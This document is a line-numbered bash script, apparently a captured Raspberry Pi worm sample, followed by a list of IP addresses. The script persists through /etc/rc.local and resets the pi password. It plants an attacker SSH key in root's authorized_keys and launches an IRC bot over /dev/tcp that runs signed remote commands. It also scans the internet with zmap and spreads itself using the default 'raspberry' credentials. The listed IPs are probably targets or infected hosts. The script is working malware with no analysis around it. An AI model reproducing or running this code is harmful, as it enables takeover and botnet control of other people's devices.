1. #!/bin/bash
    2. MYSELF=`realpath $0`
    3. DEBUG=/dev/null
    4. echo $MYSELF >> $DEBUG
    5. if [ "$EUID" -ne 0 ]
    6. then
    7. NEWMYSELF=`mktemp -u 'XXXXXXXX'`
    8. sudo cp $MYSELF /opt/$NEWMYSELF
    9. sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
    10. sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
    11. sudo sh -c "echo 'exit 0' >> /etc/rc.local"
    12. sleep 1
    13. sudo reboot
    14. else
    15. TMP1=`mktemp`
    16. echo $TMP1 >> $DEBUG
    17. killall bins.sh
    18. killall minerd
    19. killall node
    20. killall nodejs
    21. killall ktx-armv4l
    22. killall ktx-i586
    23. killall ktx-m68k
    24. killall ktx-mips
    25. killall ktx-mipsel
    26. killall ktx-powerpc
    27. killall ktx-sh4
    28. killall ktx-sparc
    29. killall arm5
    30. killall zmap
    31. killall kaiten
    32. killall perl
    33. echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
    34. rm -rf /root/.bashrc
    35. rm -rf /home/pi/.bashrc
    36. usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
    37. mkdir -p /root/.ssh
    38. echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B" >> /root/.ssh/authorized_keys
    39. echo "nameserver 8.8.8.8" >> /etc/resolv.conf
    40. rm -rf /tmp/ktx*
    41. rm -rf /tmp/cpuminer-multi
    42. rm -rf /var/tmp/kaiten
    43. cat > /tmp/public.pem <<EOFMARKER
    44. -----BEGIN PUBLIC KEY-----
    45. MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
    46. glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
    47. rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
    48. WRq+Z8HYMvPlgSRA3wIDAQAB
    49. -----END PUBLIC KEY-----
    50. EOFMARKER
    51. BOT=`mktemp -u 'XXXXXXXX'`
    52. cat > /tmp/$BOT <<'EOFMARKER'
    53. #!/bin/bash
    54. SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
    55. NICK=a${SYS:24}
    56. while [ true ]; do
    57. arr[0]="ix1.undernet.org"
    58. arr[1]="ix2.undernet.org"
    59. arr[2]="Ashburn.Va.Us.UnderNet.org"
    60. arr[3]="Bucharest.RO.EU.Undernet.Org"
    61. arr[4]="Budapest.HU.EU.UnderNet.org"
    62. arr[5]="Chicago.IL.US.Undernet.org"
    63. rand=$[$RANDOM % 6]
    64. svr=${arr[$rand]}
    65. eval 'exec 3<>/dev/tcp/$svr/6667;'
    66. if [[ ! "$?" -eq 0 ]] ; then
    67. continue
    68. fi
    69. echo $NICK
    70. eval 'printf "NICK $NICK\r\n" >&3;'
    71. if [[ ! "$?" -eq 0 ]] ; then
    72. continue
    73. fi
    74. eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
    75. if [[ ! "$?" -eq 0 ]] ; then
    76. continue
    77. fi
    78. # Main loop
    79. while [ true ]; do
    80. eval "read msg_in <&3;"
    81. if [[ ! "$?" -eq 0 ]] ; then
    82. break
    83. fi
    84. if [[ "$msg_in" =~ "PING" ]] ; then
    85. printf "PONG %s\n" "${msg_in:5}";
    86. eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
    87. if [[ ! "$?" -eq 0 ]] ; then
    88. break
    89. fi
    90. sleep 1
    91. eval 'printf "JOIN #biret\r\n" >&3;'
    92. if [[ ! "$?" -eq 0 ]] ; then
    93. break
    94. fi
    95. elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
    96. privmsg_h=$(echo $msg_in| cut -d':' -f 3)
    97. privmsg_data=$(echo $msg_in| cut -d':' -f 4)
    98. privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)
    99. hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
    100. sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`
    101. if [[ "$sign" == "$hash" ]] ; then
    102. CMD=`echo $privmsg_data | base64 -d -i`
    103. RES=`bash -c "$CMD" | base64 -w 0`
    104. eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
    105. if [[ ! "$?" -eq 0 ]] ; then
    106. break
    107. fi
    108. fi
    109. fi
    110. done
    111. done
    112. EOFMARKER
    113. chmod +x /tmp/$BOT
    114. nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
    115. rm /tmp/nohup.log -rf
    116. rm -rf nohup.out
    117. sleep 3
    118. rm -rf /tmp/$BOT
    119. NAME=`mktemp -u 'XXXXXXXX'`
    120. date > /tmp/.s
    121. apt-get update -y --force-yes
    122. apt-get install zmap sshpass -y --force-yes
    123. while [ true ]; do
    124. FILE=`mktemp`
    125. zmap -p 22 -o $FILE -n 100000
    126. killall ssh scp
    127. for IP in `cat $FILE`
    128. do
    129. sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
    130. sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
    131. done
    132. rm -rf $FILE
    133. sleep 10
    134. done
    135. fi

    ip
    18.132.196.152
    102.37.42.55
    46.30.234.60
    46.30.234.60
    79.98.159.7
    79.98.159.7
    54.153.54.230
    81.151.94.19
    138.68.91.250
    138.68.91.250
    35.200.133.234
    35.200.133.234
    68.169.61.66
    77.240.100.215
    77.240.100.215
    54.92.204.47
    206.189.139.95
    206.189.139.95
    54.233.114.207
    198.199.120.102
    198.199.120.102
    81.196.205.195
    81.196.205.195
    13.52.183.6
    68.183.228.248
    68.183.228.248
    81.196.205.210
    81.196.205.210
    134.209.89.233
    134.209.89.233
    153.196.173.38
    153.196.173.38
    167.172.119.82